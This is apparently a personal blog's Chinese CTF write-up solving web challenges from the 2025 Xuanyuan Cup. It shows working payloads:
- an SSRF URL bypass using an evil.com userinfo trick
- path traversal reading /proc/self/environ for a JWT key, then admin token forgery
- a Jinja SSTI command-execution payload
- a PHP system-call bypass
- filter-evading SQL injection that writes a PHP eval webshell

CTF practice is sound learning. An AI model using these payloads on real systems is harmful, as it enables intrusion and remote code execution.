boxmoe_header_banner_img

Hello! 欢迎来到zz的小站!

加载中

文章导读

2025第一届轩辕杯–Web–WriteUp


avatar
zzdzz 2025年10月11日 234

兄弟们太强了,终获二等奖。

Web

签到

ctrl+u

ctrl+u

加空格即可

ctrl+u

直接访问xixi.txt

ctrl+u

也不知道是加在哪里,全部加一遍

ctrl+u

直接ai

W3lC0E_CtF

最后是命令执行

简单绕过

ezjs

看js

在getflag.php,post传score=100000000000即可

ezflask

ssti,直接尝试一把梭

ezssrf1.0

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
    die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
    die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
    echo ('Well, Going to ' . $url);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo ($result);
} else
    echo "(^-_-^)";

这样可以绕

http://27.25.151.26:24079/?url=http:/evil.com@127.0.0.1/

得到flag位置

http://27.25.151.26:12488/?url=http:/evil.com@127.0.0.1/FFFFF11111AAAAAggggg.php

Ezweb 1

一下就爆出来了

抓包猜测,文件读取

flag不在/flag

重新上线后看不了 /docker-entrypoint.sh,偷不了鸡了

../../../../../../../docker-entrypoint.sh

尝试读源码

book_path=/app/app.py
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt


app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}


def generate_token(username):
    payload = {
        'username': username
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token


def decode_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None


@app.route('/')
def index():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    username = payload['username']
    books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
    return render_template('./index.html', username=username, books=books)


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        
        return render_template('./login.html')
    elif request.method == 'POST':
        
        username = request.form.get('username')
        password = request.form.get('password')

        
        if username in users and users[username] == password:
            token = generate_token(username)
            response = make_response(jsonify({
                'message': 'success'
            }), 200)
           
            response.set_cookie('token', token, httponly=True, path='/')
            return response
        else:
            
            return {'message': 'Invalid username or password'}


@app.route('/read', methods=['POST'])
def read_book():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    book_path = request.form.get('book_path')
    full_path = os.path.join(book_dir, book_path)
    try:
        with open(full_path, 'r', encoding='utf-8') as file:
            content = file.read()
        return render_template('reading.html', content=content)
    except FileNotFoundError:
        return "文件未找到", 404
    except Exception as e:
        return f"发生错误: {str(e)}", 500


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    if request.method == 'GET':
        
        return render_template('./upload.html')
    if payload.get('username') != 'admin':
        return """
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        """
    file = request.files['file']
    if file:
        book_path = request.form.get('book_path')
        file_path = os.path.join(book_path, file.filename)
        if not os.path.exists(book_path):
            return "文件夹不存在", 400
        file.save(file_path)

        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
            pattern = r'[{}<>_%]'

            if re.search(pattern, content):
                os.remove(file_path)
                return """
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                """
        return redirect(url_for('index'))
    return "未选择文件", 400

可见,需要admin才能上传,jwt的key在环境变量中,先上传,后处理,可以打条件竞争

尝试读取环境变量

book_path=../../../../../../../proc/self/environ

Key

th1s_1s_k3y

伪造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U

抓包发现上传路径可控,尝试直接覆盖/app/templates/index.html

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /f*').read()}}

ezrce

PHP 中的:

\system(‘ls’);

和:

system(‘ls’);

是等效的,\PHP 的命名空间前缀,在这种上下文中不会影响函数的执行。

?num=1235
new=\system&star=ls

ezsql1.0

过滤空格

http://27.25.151.26:5908/?id=0%09union%09selselectect%091,2,3#
http://27.25.151.26:5908/?id=0%09union%09selselectect%091,database(),group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctf'#
http://27.25.151.26:5908/?id=0%09union%09selselectect%091,database(),(selselectect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctf'%09and%09table_name='flag')#
http://27.25.151.26:5908/?id=0%09union%09selselectect%091,database(),(selselectect%09group_concat(concat(id,'%23',data))%09from%09ctf.flag)#

?这对吗

尝试写马

http://27.25.151.26:5908/?id=0%09union%09selselectect%091,2,'<?=eval($_POST[1])?>'%09into%09outfile%09'/var/www/html/5.php'#



评论(已关闭)

评论已关闭